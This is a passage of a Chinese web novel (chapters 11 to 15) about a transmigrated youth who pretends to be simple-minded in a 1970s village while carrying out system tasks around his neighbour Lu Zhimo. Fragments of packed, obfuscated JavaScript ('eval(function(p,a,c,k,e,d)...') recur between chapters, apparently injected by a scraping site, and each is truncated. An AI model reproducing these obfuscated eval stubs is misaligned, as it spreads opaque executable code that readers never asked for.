;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程尔的嘴唇从陆执墨的唇角擦过，一直滑到脸颊，直到耳垂才停下。 他什么都不知道，又安静了下来。 只有陆执墨像被烫到一样捂着脸站了起来。 无声的房间里，只有清晰的心跳声，烧的陆执墨脸上一片赤红。 他还没来得及多想，就做贼心虚般地拉上了窗帘，遮住了所有的阳光。 房间里瞬间变暗了许多，陆执墨按住唇角低头看向程尔，静静伫立了许久。 唇角那里，被蹭过的地方，还留着一星半点的触感——软软的、温热的，轻得像羽毛一般。 最后，是说梦话的程尔打破了沉默，他嘟囔着：“陆执墨……对不起……” 这次，陆执墨没有凑近也听清了。 对不起什么？ 他皱起了眉头，小尔已经叫了三次了，说明他在心里一直是这么叫他的。 为什么要…… 陆执墨放下了手，他静静看了程尔几秒，程尔没有再说出更多的话来。 他轻轻叹了口气，弯腰将程尔抱了起来。 小尔出乎意料的轻，他倒是抱得很轻松，没有费很大劲。 程尔没有醒，只是靠在他肩头无意识地蹭了蹭。 陆执墨呼吸一滞，停了一瞬才又抱起程尔向前走，最后，他将程尔放在了床上，给他脱了鞋子和外套盖上了被子。 程尔睡得十分安稳，还自动抱上了被子，一点都不认床。 陆执墨轻笑了一声，弯腰将他弄乱的刘海理顺，而后转身离开。 他坐回桌子前面，将程尔这几天写的作业又重新检查了一遍，陷入了沉思。 11. 世界一：偷窥隔壁男知青的阴郁小傻子（11） 程尔一觉醒来，感觉清醒了不少，睡得非常好。 他睁开眼睛，才发现有些不对，家里的天花板不是这样的。 什么情况？他坐了起来，这才记忆回笼，坏了，他好像在陆执墨教他认字的时候睡着了…… 不对，程尔拉起身上的被子，他不是在桌子上睡着的吗？怎么跑床上来了？ 他起床的动静很快被陆执墨听到，陆执墨从书桌那边走了过来，问道：“小尔醒了？还困吗？” 程尔摇摇头，有些尴尬地穿上了外套，如果他还醒着，他绝对不会睡别人的床的，绝对不会。 “不困了……”他开口回答。 他想了想，问道：“哥，我睡了多久？” 陆执墨看着他笑了一下，他抬手轻咳了一声，才回答道：“不久，才一个小时。小尔要喝水吗？还是你想直接回家，今天暂时不学了？” 程尔点头回答：“要，还是继续学吧……没学完……” 不知道为什么，程尔觉得陆执墨跟他说话更加随意了，以前还会刻意控制不用长句，像是怕他听不懂，现在好像没有了？ 是他的错觉吗？ 陆执墨转身给他倒了杯水，走过来递给他。 “谢谢哥。”程尔乖巧地捧着杯子喝水，上唇挨在杯沿上，随着喝水的动作挪动。 陆执墨这才发现，小尔嘴唇上有明显的唇珠。他盯着看了一会儿，又发现自己这样的想法实在不对，赶紧移开视线。 程尔倒是没注意陆执墨在干嘛，只是安静地喝完了水。 他站起身，陆执墨却已经走到他身边替他接过了杯子。程尔有些奇怪地看了陆执墨一眼，总感觉陆执墨一直在看他，是错觉吗？ “来，我们继续。”陆执墨笑着对他招手。 程尔也没有再深究，毕竟他是个傻子，有什么也不能问出来确定，还是算了吧…… …… 程尔到了晚上才知道，陆执墨他们排练的节目原来是要表演给他们这些乡亲看的。 爷爷吃完晚饭之后要带他出门，他才知道这回事。 不知道陆执墨为什么没有提前告诉他，难道是怕小傻子不懂吗？ 程尔还挺高兴的，毕竟来了这里也没有什么娱乐活动，晚上有节目看还挺好的，他也挺好奇这个年代的节目是什么的。 一路上人群越来越多了，看起来大家都很喜欢热闹。 可能把节目安排在今晚而不是节日当天，就是想让更多人来看吧？ 程尔路过隔壁的时候还看了一眼陆执墨小院的门，好像是锁着的。 爷爷见他这样，笑着说：“你小陆哥要表演节目，早去准备了。 ” “噢。”程尔点点头，还有点不好意思，他其实没想问。 爷爷也没在意这个小事，拍了拍程尔的头说：“爷提前买了瓜子，等会儿吃，你最喜欢吃了。” “嗯。”程尔看着爷爷点头，其实他也不馋这一口，只是觉得爷爷对他实在太好了。 不过，程尔还是对这个时代太不了解，虽然到了地方人很多，但跟现代的晚会压根不是一回事，也没有什么人在那边卖东西吃。 这会儿还没开始，倒是还算热闹，一群人走在一起说着话。 程尔跟在他们后面，一听就知道他们是知青。 这边的话和普通话很像，但只有知青说话才完全没有口音。说的快了，爷爷他们估计还听不懂。 程尔倒是没有什么压力，不过他听着听着，突然听到了陆执墨的名字，他愣了一下。 “那个姓陆的大概要被推荐了，大队书记对他可好，什么都喊他。” “蒋卓，你别乱说了，你不就是因为单雨喜欢人家不喜欢你你才瞎说吗？小心别人知道了……” 程尔听到蒋卓这个名字才想起来，这个人在原著里也是个炮灰，不过他比程尔好，好歹有个名字。 就是人设太差了，属于陆执墨前期的死对头，因为知青里的美女单雨暗恋陆执墨，而蒋卓又一心想娶单雨这种出身好的美女，把她视为己有，因此明里暗里挤兑陆执墨。 后来，陆执墨实在受不了想了个办法警告了他一番他才消停。 不过那个时候程尔早下线了，现在这个阶段这个蒋卓的嫉妒好像还只停留在嘴边…… 程尔看了蒋卓一眼，静静地跟在他们后面排队，只是这些人的嘴根本停不下来： “你为什么总替他说话？你也喜欢他？” “蒋卓，你别血口喷人，大家都是同志，你这样说别人像话吗？” “那怎么了，又不是我一个人说他怪，他不就是仗着出身好是烈士遗属才这么张狂吗？哪都有他，烦死了！” “是啊，是啊，没事还装个好人，还教邻居傻子写字，那傻子能学明白吗？不就是想作秀争取积极表现吗？那心思谁不明白？” “我看他对那个傻子挺好的，不是你们说的那样吧？” “好什么呀好，我是没住那，他命好，随便糊弄糊弄，谁知道他教的怎么样，还天天被那傻子爷爷感谢，都在大队长那挂名了，多舒服……” 程尔眉头微皱，实在听不下去了，主要是怕爷爷听懂了伤心，他没有多想，直接开口：“小陆哥才不是你们说的那样！” 他喊的大声，前面一行人都停下脚步回头看他，爷爷也惊讶地看着他。 程尔这才发现，他好像不应该这样…… 知青们见遇到本人了，也没那么厚脸皮继续说，忙连拉带拽让蒋卓道歉而后赶紧走了。 爷爷伸手摸了摸他的头，笑了下说：“尔啊，你说的对，你小陆哥是个好的，再说，你都能自己看书了，他们不知道，瞎说。” 程尔正要点头说话，却在转头的时候对上一个熟悉的眼眸。他突然有些慌，刚才的话不会也被听到了吧？ “小尔，程爷，你们来了？”陆执墨率先开口跟他们打招呼。 爷爷点头：“对啊，小陆啊，你不去准备？” 陆执墨笑了下：“我的节目在后面，我先下来看。” 程尔有些心虚地低下头，不敢看他。 爷爷却强迫他抬头，示意他叫人，程尔只好开口：“小陆哥。” 陆执墨嘴角的笑意收了起来，只跟在他们身后。 三个人找好了位置，陆执墨碰到他们了，便跟他们坐在了一起，没有去跟知青们坐。 程尔坐在中间，总感觉有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆执墨又那么聪明，程尔觉得只要他愿意想，总觉得很快就会被拆穿，加上刚才那一出，陆执墨估计更加确定了…… 程尔在心里叹了口气，算了，陆执墨猜到就猜到吧，他们相处时间最多，除了爷爷之外就是陆执墨了，亲近的人能猜到他是演的也不奇怪，毕竟他不是专业演员。 还好，不用被雷劈就行。 程尔看了眼陆执墨，只是点头：“嗯。” 陆执墨却莫名奇妙地笑了一下，他凑的更近了些，几乎就在程尔耳边说话，他说：“不是说好了叫我哥的吗？怎么在爷爷面前小尔就叫小陆哥了？” 啊？ 这是什么转折？程尔竟然有些无语，他慌得要死，还以为陆执墨要拆穿他呢，原来是想问这个问题？ 程尔眨了下眼睛，小声回答：“我没注意。” 陆执墨笑了笑，伸出了手，又停在空中，最后落在程尔肩上，拍了拍。 他说：“好吧，那小尔以后注意一下，跟我约定好了就要遵守哦，这样才是好孩子。” “噢。”程尔点头。陆执墨这话怎么怪怪的呢？一个称呼而已，需要那么在意吗？ 他伸出手指，正准备拿颗瓜子吃，又突然感觉陆执墨快速地凑在了他耳边，带起了一阵风。 程尔正要疑惑转头，却被陆执墨用手按住。 陆执墨将手卷成筒状，轻声开口道：“小尔其实很聪明的对不对？” 程尔手一紧，瓜子差点被他全挤出来，还好旁边伸出一只手直接包住了他整个手按住，才避免了这场悲剧。 瓜子是救回来了，可惜程尔这会儿却根本放松不下来。 12. 世界一：偷窥隔壁男知青的阴郁小傻子（12） 程尔呆呆地看着陆执墨，什么话也没有说。 他也不能说，系统已经跟他说了，他是不能承认的。 虽然，按程尔自己的性格，狡辩不是他会做的事，然而还是小命要紧，他并不想被雷劈，还是不说好了。 周围乱哄哄的，陆执墨保持着这个动作看了他许久，最后，他没有忍住伸手揉了揉程尔的头发。 两个人默契地跳过了这个话题，程尔也松了口气。 这个时候，他又一次想感叹，陆执墨真是个性格很好的人。 难怪人缘这么好，那么多人喜欢他。 陆执墨根本不会为难别人，实在是个太温柔的人。 程尔其实真有点不好意思，一直以来，陆执墨都对他很好，可他呢，反而在系统的迫害下做了好多对陆执墨不好的事情，他是真觉得愧疚了。 这种感觉刚开始还不强烈，因为陆执墨毕竟只是个任务对象，程尔清楚地知道这里是一本小说的世界。 可是，随着他在这个世界呆的时间增长，他越来越分不清这里和真实的世界有什么区别了。 也许，这里就是另一个平行世界。 而爷爷和陆执墨都是真实的人。 所以，对着越发真实的陆执墨，他的愧疚心也越来越重了，可他又不能拒绝系统的任务。 怎么办呢？陆执墨缺钱吗？等他下线之后送点贵的礼物补偿他好了…… 程尔盯着陆执墨的侧脸失了神。 “小尔，怎么了？”陆执墨将目光从台上的节目移开，看向程尔。 程尔瞬间对上陆执墨的眼神，有一瞬间的慌乱，他吸了口气才回答：“没事，哥。” 陆执墨笑了一下：“小尔怎么不吃？程爷爷不是说你很喜欢吃瓜子吗？” “爷爷连这都跟你说？”程尔有些惊奇，又没管住嘴，他懊恼地捂住了嘴巴。 真不怪他，哪有人平时跟熟人说话的时候时时刻刻注意要装傻的，程尔在心里叹了口气。 陆执墨脸上的笑更温柔了，他说：“嗯，程爷爷买瓜子的时候正好碰到了，就聊了几句。” 见程尔捂着嘴巴，他干脆伸手握住程尔的手腕将他的手放了下来。 手腕上的银镯靠在陆执墨的手指上，他似乎低头看了一眼，才轻声开口：“小尔，在我面前可以放松一些。” “嗯。”程尔假装没有听懂，糊弄了过去，他假装问问题，“哥什么时候去后台？” 陆执墨抬头看了台上的节目一眼，回答：“马上就去，瓜子给，小尔吃。” 程尔乖乖接住。 陆执墨又将身上的外套脱了下来，递给程尔：“小尔帮我拿着衣服，我去后面要穿演出服了。” “好。”程尔点头。 陆执墨最后满意地笑了一下：“小尔要记得认真看我的节目哦，我会考你的。” “好。”程尔对他挥手，看着他离开。 “小陆走了？”爷爷直到陆执墨站起来才从台上的节目里分神，那上面表演的是什么地主贫农的戏剧，程尔其实听不太懂，爷爷倒是听得入迷。 程尔看着爷爷点头：“嗯。” 爷爷笑了下：“那小陆的节目应该快到了，尔啊，你好好看，给你陆老师捧场。” “好。”程尔乖乖点头。 程尔顿了一下，说是陆老师倒也不算错…… 台上的节目跟程尔想象的其实大不一样，有点像他小时候爷爷奶奶喜欢看的那种戏曲节目，演的题材他这个现代人已经很陌生了。 程尔其实并不感兴趣，不是唱戏的节目也不是很好玩，只是大家都看得很认真，程尔只好跟着鼓掌。 等了两个节目之后，陆执墨终于上场了。 他的节目果然是吹笛子，不过他并不是主角，是有几个乐器一起的合奏，只是前面有一段单人的段落。 陆执墨吹得曲子程尔很陌生，但是曲调很悠扬，倒也挺好听的。 简单的大灯打在他身上，穿着一身干净制服的陆执墨看起来十分精神，有点陌生了。 虽然很帅，看得出来，他一出来的时候，底下是情不自禁的惊叹，然而太远了，也只能看个氛围。 程尔的感觉只有一个—— 陆执墨真的是这个年代的人啊…… 平时他穿的衣服都很简单，倒是没有那么明显。 哗哗哗—— 陆执墨的节目表演完了，不知道是不是因为陆执墨的原因，这次掌声格外大。 程尔也听了爷爷的话，努力地大声鼓掌，巴掌都要拍痛了。 爷爷最后还按住了他，说他不晓得痛。 程尔这才停下来，掌心火辣辣的，真有点傻了…… 他低头搓着手发愣，等待着痛感过去。 不知道过去多久，他还盯着手发呆的时候，肩膀突然被拍了一下。 程尔回头，是陆执墨，他已经换了自己的衣服出来了。 “给。”程尔将他的外套递给他，陆执墨笑着接过来。 他一边穿衣服一边问道：“小尔的手怎么了？” 程尔连忙摇头。 陆执墨凑过去看了一眼他的手，发现确实没什么事，便不再追问，只是笑着说：“怎么样？哥吹得好听吗？” 程尔捏着手腕上的银镯，转了几圈，他认真想了想，最后说：“我更喜欢……” 他顿了一下，重新组织了一下词语：“我很喜欢。” 陆执墨对他笑了笑：“那就好。” …… 节日过去，日子也回到了原来的正轨，程尔依旧每天傍晚去找陆执墨学习，与之前不同的是，现在，陆执墨会找一些他能看得懂的书让程尔带回家看。 这样，白天他们都去干活的时候，程尔一个人玩也不无聊了。 爷爷倒是没有跟知青他们一起开始干活，大概是年纪大了，大队里也照顾着他，多给了他一些时间去山上打柴。 程尔倒是喜欢这项活动，爷爷每次去他都跟着。 这天，他在山上采蘑菇的时候，系统突然冒出来：“宿主，有新的任务了。” “嗯？是什么？”程尔趴在地上扒拉出他找到的大蘑菇，目不斜视地问道。 他已经习惯系统三天两头的出现了，毕竟他来这里是做任务的，不是享福的。 系统：“宿主，你不是一直对陆执墨很愧疚吗？你放心，这次的任务不是偷看他了，是要采一束花送给他。” “哦？”程尔抬眼看了下光幕上的文字描述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程尔叹了口气，将花束放在墙头，开始像原著程尔一样翻墙。 不过他伸手利落，倒是没在这上面耽搁太久，助跑了一阵很快就跳到围墙上面了。 他蹲在墙上，拿起放在墙上的花，将沾了灰的部分拍干净。 程尔向下看去，陆执墨房间已经点起了灯，还好这边蚊子多，夏天只能关着窗户，不然陆执墨抬头都能看到程尔了。 该说不说，原著的小傻子运气是真好，净瞎折腾倒也一直没被发现。 程尔叹了口气，抱着花跳下了围墙。 他将花朵的形状整理了一番，慢慢靠近陆执墨的窗前，将花束放在了窗台上。 夜风吹过来，撩起程尔的刘海，程尔蹲下来，突然有些紧张。 他悄悄伸出手，按照任务要求敲了两下陆执墨窗户，而后迅速转身。 “恭喜宿主，任务完成了。”系统提示道。 “这次确实简单，这种不变态的任务多来点好吗？”程尔跟系统吐槽道。 按照原著剧情，陆执墨这会儿应该正在收拾东西，没注意到这边的动静，直到第二天早上他才会发现这束花。 程尔没有多想，只转身再退后，准备再一鼓作气跳回围墙上。 他没有注意到的事，在他转身退后的时候，窗户突然打开。 程尔蹲下借力的时候，被陆执墨按住了肩膀，整个人被吓得直接蹲了下来。 陆执墨反而被他吓了一跳：“小尔，你在这干什么呢？” 程尔整个人都懵了，这剧情不对吧？ 13. 世界一：偷窥隔壁男知青的阴郁小傻子（13） 程尔整个人都有些懵了，他仰头看着陆执墨，任由夜风从他们中间穿过，刘海被吹得蹭动着眼睫，该是痒的，他竟一点都没有感觉。 瞪大的双眼中，只能清晰地看到陆执墨垂下了眼睫，露出程尔最熟悉的那颗小痣。 程尔转动眼球视线跟着那颗小痣，下一秒钟，熟悉的小痣却消失了。 “不……”程尔下意识抗拒却在清醒过来后，看见了将鲜花抱了满怀的陆执墨，正弯下腰对着他笑。 “是送给我的吗，小尔？”陆执墨清润的声音在昏暗的灯光下比他的身影清晰得多。 不知为什么，除了窘迫之外，程尔竟觉得无比心慌。 他抬眼看了陆执墨一眼，可这样昏暗的光线下，对上陆执墨如星一般亮的眼眸，他竟觉得更慌了。 他急于打破窘境，便急忙点头：“嗯。” 陆执墨似乎停了一下，旋即露出一个更加肆意的笑容，他靠在了窗台上，伸出一只手放在程尔面前，道：“小尔要一直蹲着跟我说话吗？来，手给我。” “哦。”程尔没有思考，将手放了上去，任由陆执墨用了些力气将他拉了起来，手腕上的银镯从靠近手肘的方向一路滑落，直到靠在他们相连的手指之间。 程尔呆呆站着，不知道该做些什么了。 于是，陆执墨理所当然地掌握了互动的主动权。他似乎给程尔把手镯转正了才放开手站起来。 一大捧花被他用另一手一直抱着，一直没放下来。 陆执墨低头闻了一下花香，又笑着抬眼看向程尔，随意问道：“小尔为什么要送我花？” 程尔挺直了身体，在脑子里快速扒拉相关内容，好不容易想到一个，脱口而出：“鲜花配美人。” 话一出口，两个人都安静了。 程尔咬了下唇，真想一键撤回，可惜现实没有Ctrl+Z…… 他微微低下头，真是无地自容了。 这一晚上他都干了些什么啊？ 陆执墨将花束捧在手里转着圈观察了一番，他想了想，笑了一下：“宝剑赠英雄，红粉送佳人。我在小尔眼里是佳人吗？” 程尔压根没听明白，他挠了下头，困惑得十分真实。 好在，陆执墨没有为难他，而是就着他弄乱的头发揉了揉他的头。 他将程尔拉得更近了一些，问道：“是小尔今天在山上采的花吗？” “嗯。”程尔松了口气，老实回答。 陆执墨笑了一下：“小尔是怎么过来的？翻墙进来的？” 程尔不敢看他，点头：“嗯。” “多危险啊，”陆执墨揉了揉他的头发，“下次小尔直接叫我，听到了吗？” “哦。”程尔继续点头。 陆执墨笑了一下，对他招了招手：“进来，小尔，我找个瓶子把花养起来再送你回去。” 程尔乖乖点头，顺着他的指示进了房门。 里面的灯亮了许多，程尔一进来倒也不算陌生，陆执墨让他坐，他便习惯地坐到了他认字的位置上，乖乖地等着陆执墨。 陆执墨手里抱着花，看着程尔的背影无声地笑了一下。 小孩子的喜欢真是…… 陆执墨捏了捏花瓣，倏地收起笑容。 小尔他，已经不是小孩子了…… 陆执墨收回了手，将花束小心地放在了一边，从柜子底下找到了一个高瘦的铁盒子，这个高度，用来养花正好。 他笑了一下，没再继续想下去，只是去舀水灌满瓶子，而后将花一株株放了进去。 这天晚上，程尔额外补了一些知识，知道了许多野花的名字。 虽然，一个都没记住，他心虚得不行，根本没有心思学，还好陆执墨后面没有再问他更多，只是教完了就把他送回家了，什么也没有说。 …… 这天，是个大晴天。 程尔才跟陆执墨不尴不尬地消化了送花事件，结果他看书的时候，系统又突然蹦出来一个送石头任务。 程尔无语：“你们这个任务怎么发的？之前看上瘾了，现在送上瘾了是吧？” 系统也委屈：“宿主，你想想，这样不是才该更符合偏执炮灰的人设吗？原著的程尔就是觉得一件事有用就一直做啊，又不是我瞎加的任务……” 程尔看见那个在圆球上还挂了副不知道哪来的墨镜上下晃荡的系统，也无力吐槽了。 系统只是个辅助工具，跟它说啥也没用。 他无奈地接受了现实，打开了抽屉。 只是，一打开盖子，他突然傻眼了，任务提示里的珍藏石头不见了，里面只安静地躺着一颗银色彩纸包装的糖。 程尔这才记忆回笼：“任务里说的石头不会是我扔掉的那些吧？我都扔了怎么办？” 程尔将那颗糖拿在了手心，心中烦闷，干脆拆开吃了。 嗯，甜的过头。 系统回他：“那宿主只能送另一个珍藏的东西给陆执墨了。” “珍藏的东西？”程尔环顾四周，“这里家徒四壁，哪来的东西送？” 他打开了另一个抽屉，里面放着陆执墨送他的一盒糖和钢笔，他叹气：“这都是陆执墨送我的东西，总不能送回去吧？” 系统：“那没办法了，宿主自己想办法吧，反正要饱含心意的礼物，不能随便捡个石头送了。” 程尔一滞，他还真有这想法。 不过只是想想罢了，陆执墨对他这么好，他也不好意思真装傻送他石头。 “那怎么办？”程尔无奈。 系统：“反正宿主想想办法吧，这个任务时限也是到明天哦，你要记得，不然没完成我可没办法帮你挡雷劈。” “知道了……”程尔叹气。 饱含心意？那只能做手工了…… 程尔想了想，偷偷摸摸顺了爷爷的砍柴刀，一个人上山去了。 这个时候爷爷也去干农活了，家里没人，他倒是可以自由活动，没人管他。 程尔跟爷爷走了太多次上山路，倒是不陌生。 只是这会儿带着系统发的任务上山，不知道为什么就突然想起了那个月光很亮的夜晚，陆执墨的笛声仿佛还回荡在耳边。 该说不说，挺好听的。 不过，他就算有想法让陆执墨再吹笛子给他听也没有理由，陆执墨很忙，也没有主动在他面前表演过，他提起来会很奇怪。 程尔摇了摇头，突然体会到了白居易的感觉。 浔阳地僻无音乐，终岁不闻丝竹声。 这边确实没什么娱乐，听个笛子也挺好的，只是他没办法开口。 程尔在心里笑了一下，不过倒是给他灵感了。 他小的时候住山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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系统回答：“其实呢，原著的程尔是怕他的宝贝石头被偷才一直守着等陆执墨回来的，你能懂吗？” “尊重，但不理解。”程尔扶了下额，“行吧，做回正常人也好。” 虽然，按照原来的剧情送石头，也不是正常人能做出来的事。 这会儿程尔都庆幸他无意中把石头扔了，不然，这系统给他的任务真是没一件好事…… 程尔打开盒子，最后欣赏了一下自己的作品，说实话，他还是很满意的，要是再刷层油就更完美了，可惜弄油太麻烦了，不是他一天两天能搞出来的。 “小尔。”陆执墨不知道从哪里蹦出来的，吓了程尔一跳。 程尔抬头看他，他拿着水壶，应该是要回来接水喝：“哥，我……” “什么？”陆执墨笑了笑，“小尔是在这特意等我的吗？” 程尔被他一打岔都忘了自己要说什么了。 大概是他的表情太过疑惑，陆执墨笑着说：“小尔不喜欢在门口玩的，在这里是有事吧？” 真聪明…… 程尔没有再感叹，伸手把手里的木雕递给他：“送给哥。” 陆执墨脸上的笑容凝固了一秒，才自然下来，伸手接过盒子打开，他将木雕拿出来看了看，又笑着问道：“小尔哪里来的？是自己做的吗？雕的是什么主题？” 看的出来，他很感兴趣，翻来覆去地拿在手里把玩。 程尔见他喜欢，也很高兴，抿着唇笑了一下，回答道：“是哥教我的那首诗，牧童骑黄牛，歌声振林樾。哥不是很喜欢这首诗吗？” “嗯？”陆执墨摸了摸牧童手里横着的笛子，看了程尔一眼，“嗯。” 14. 世界一：偷窥隔壁男知青的阴郁小傻子（14） 陆执墨有些失神，将手里的木雕又装回盒子里，而后对程尔笑了一下：“谢谢小尔，我很喜欢。” 程尔莫名轻松了，笑了一下：“你喜欢就好。” 任务也算提示完成了，这次确实简单。 不过，程尔开心也还因为陆执墨看起来是真的喜欢这个礼物，至少他的心血没有白费，还是很满足的。 陆执墨走近了一步，摸了摸程尔的头：“小尔辛苦了。” 程尔摇摇头：“不辛苦。” 他不好意思说再多了，其实陆执墨送他的礼物更多，他这个其实也不算什么，还是系统让他送他才送的，其实不值得陆执墨这样真心的感谢。 说实话，还有点小尴尬。 程尔习惯性地用手捏着银镯，却不小心碰到了指腹上的伤口，他吃痛拿起来看了一眼。 “怎么了？”陆执墨抓住了他缩回去的手，拉过来观察了一番，他的眉轻轻蹙起，“小尔做木雕的时候受伤了吗？” “嗯……”程尔有些不好意思，想把手收回来，他还是不习惯跟人离那么近，可他用了些力气后退，却没有挣脱出来。 陆执墨抬眼看向他，问道：“还有别的伤口吗？” “没有了。”程尔老实回答。 陆执墨深深地看了他一眼，半晌握住了他整个手，说：“去我那里，我帮小尔上些药。” “好。”程尔不再抗拒，他实在没有陆执墨力气大，偷偷挣脱的时候还被陆执墨眼神压制了。 算了，消下毒也好，家里的剪刀也不知道用了多久了…… 陆执墨看向程尔，拉着他进了房间。 大概是程尔实在太过安静，表情也不好，陆执墨最后还是松开了手，开口说：“小尔，哥没有不高兴的意思，你做的木雕我很喜欢，只是伤到了你该跟说我下……” 他停了下来，盯着程尔的眼睛，突然有些说不下去了。 不是知道的吗？小尔就不是主动开口的人，为什么还会有这样的期待呢？ 陆执墨转过身，开始去给程尔找药水。 他的嘴角浮现出一抹嘲讽的浅笑。 因为自以为发现了秘密就开始对小尔有要求了吗？ 可小尔如果只是真的不爱说话的话，他这样似乎也不太好。 小尔在他面前已经很不一样了…… 不要再…… 陆执墨拿出了药瓶，一瞬间顿了一下。 为什么不一样呢？为什么要给他送花，送礼物，为什么…… 陆执墨深吸了口气，不敢再任由思绪蔓延下去。 他强迫自己转身，开始给程尔处理伤口。 一回头看到程尔又乖乖地坐在他常坐的座位上安静地等着，甚至还放松地轻轻晃着腿。 陆执墨内心突然闪过一种奇异地感觉，他无奈地笑着摇摇头，走过去看着程尔道：“把手伸出来，我先检查下。” “哦。”程尔看了他一眼，乖乖地把两只手掌都五指摊开摆在他面前。 陆执墨更是无奈，他轻笑了一下，而后把药瓶放在了桌子上，拿起程尔的手仔细检查了一下。 还好，只有一个伤口。 他怕程尔不说，连手腕都检查了一遍，发现没有别的伤口了。 陆执墨最后开口问：“没有别的地方了？” 程尔点头：“没有了，哥。” “嗯。”陆执墨应了一声，开始给程尔的伤口消毒上药。 不过，刚才检查小尔手指的时候，小尔右手的中指上好像有一个茧子，如果他没有猜错的话，应该是写字的茧子来着。 小尔才学写字没多久，怎么会有茧子呢？ 陆执墨低下头眼神落在伤口上，开始熟练地消毒上药。 他脑中想着事情，手上的动作却一点都没有出错。 倒是他的沉默有些让程尔不习惯，毕竟，陆执墨平时表情不会那么严肃，即使不笑，脸上的表情也是轻松随意的，像是没有什么事情能让他忧心。 程尔盯着他看了几眼，视线从陆执墨眼皮上的那颗小痣上挪开。 他盯着虚空调整了下情绪，开口问道：“哥，难道很严重吗？” 程尔当然知道那个伤口并不大，只是开始没话找话。他有些习惯不了这样的沉默。 “什么？”陆执墨抬头看了他一眼，而后反应过来，道，“还好，不过，小尔之后不要再做了，很危险也费时间。” 他顿了一下，又笑了一下：“下次小尔想送我礼物的话，花就很好，你看，还开着呢！” 程尔顺着陆执墨的下巴指示看去，那束花果然很好地被陆执墨养在了窗边。 虽然程尔不太懂插花，但看的出来，陆执墨还把它们修剪出了合适的形状，看着十分和谐。 有时候他真觉得，陆执墨应该是个古人，比现在还要古的人，大概会是个才子，吟诗作对，花前月下，隐居山林，才更像他会喜欢的生活。 “好了，小尔回去记得不要沾水。”陆执墨放开了他的手，站了起来。 程尔仰头看他，回答：“知道了，哥。” 陆执墨的唇边又浮现出一丝笑意，他伸手摸了摸程尔的头：“乖。” 他顿了一下，又特意拿起桌上的木雕，道：“礼物，我很喜欢，我就摆在桌上，可以吗小尔？” “嗯。”程尔点头。 陆执墨笑了一下。 …… 程尔手上的伤口没有多大事，没几天就好了，还好没有破伤风。 不过，他这么兢兢业业地执行任务，如果真有什么事系统该提醒他的。 好在也不是惯用手，写字还是能写的，这几天程尔的教学也没有拉下。 说实在话，他的进步很快，陆执墨给他看的书也越来越多了，不过看的出来，陆执墨还给他特意挑选了一下，内容大多都是些游记和小故事，没有什么枯燥的内容。 程尔现在倒是没那么无聊了，反而有种小时候一个人放假在家的感觉，有些悠闲。 不过，系统是不会让他这么悠闲下去的，这天，他正在看一本古代游记，系统突然冒了出来： “宿主，待会可能有一个剧情任务，你准备一下出门哦！” “这么突然？”程尔吐槽，他按了几下手中的铅笔，问，“现在都没有提前发的任务了么？” 系统：“宿主，现在剧情已经变动了，主角陆执墨的行为也跟原著不完全一样，我们需要动态监测才能给你及时发任务。” “好吧，好吧，又是什么任务？”程尔站起身。 系统：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程尔都没来得及问一下陆执墨有没有事，打架上头的男人不爽自己被推开，竟抓住程尔就要打过来。 “别！”程尔听到了陆执墨焦急的呼喊声。 但他没来得及多想，都打到头上了，再不反击是傻子。 程尔灵活一躲，侧着身体就踢了上去。 结果是显而易见的，程尔的功夫虽然早就退步了，但对付这些只知道蛮干的男人容易的很。 更别说，城里的知青们打架也不如乡下汉子狠，没多久，周围全都安静了下来。 因为程尔把所有人都撂倒了，一群人堆在一起，还有些喜感。 只有陆执墨和周围的乡亲们还站着，用震惊的眼神看着程尔。 “这，这是尔娃？咋这么厉害？” “谁教他的啊？我看他那动作，有点像那戏里打架的嘞！” “你别瞎说了，尔娃连村里人都认不全，谁教他？” “是啊，可能傻子就是有把子力气……” “别，别站着了，快把知青们扶起来！” “噢噢……” 周围的人动了起来，又开始热闹了一些，程尔顶着陆执墨震惊的眼神走近了一些，开口问道：“哥，你没事吧？” 陆执墨此时已经将眼镜重新戴好，衣领也变回了原来整齐的样子，他看向程尔，轻轻摇头：“我没事，小尔呢？” 程尔也摇头：“没事，他们不会打架。” 他抿了下唇，自知又失言了。 陆执墨没有说话，只是将他拉进了一些，又仔细看了看，盯着他突然开口：“小尔为什么会来？” 程尔愣在了那里，呼吸一滞。 15. 世界一：偷窥隔壁男知青的阴郁小傻子（15） 程尔看着陆执墨严肃的表情，最后直接回答道：“想来找你。” “那，小尔怎么知道我在这里的？”陆执墨问。 程尔又想挠头了，为什么难回答的问题一个接着一个。 他看向陆执墨，眨了几下眼睛，装傻不说话。 陆执墨似乎轻叹了一声，拉过了他的手：“走，先回去，你脸上有伤口。” “哦，不痛，我没感觉。”程尔开口。 陆执墨伸手按在了程尔脸上，在伤口旁边轻轻触碰，似乎不太习惯，他的手指一触即停。 “这里……”陆执墨轻咳了一声，“这里有点擦伤。” “哦。”程尔点头，乖乖拉住了陆执墨的袖子。 旁边的人还在闹哄哄拉地上的知青们，陆执墨已经带着程尔悄悄离开。 程尔回头看了一眼，虽然系统已经提示任务完成了，不过，他其实还不知道为什么知青们会打起来。 特别是陆执墨，他这样的人，实在想象不出来他打架的样子。 明明皮肤那么敏感，每次干活都会红一片，一看就是娇生惯养大的人。 仅仅只是握笔久了手指都会有痕迹，他要是打架的话，身上该全是痕迹了。 不过，程尔刚才检查了一番，陆执墨身上好像没有什么伤，只有挽起来的袖口下，手臂有一些被人抓过的痕迹。 之前他还以为陆执墨被人打了才那么激动，现在冷静下来，好像不是那样。 “小尔一直看我干什么？”陆执墨突然偏过头来，看向程尔问道。 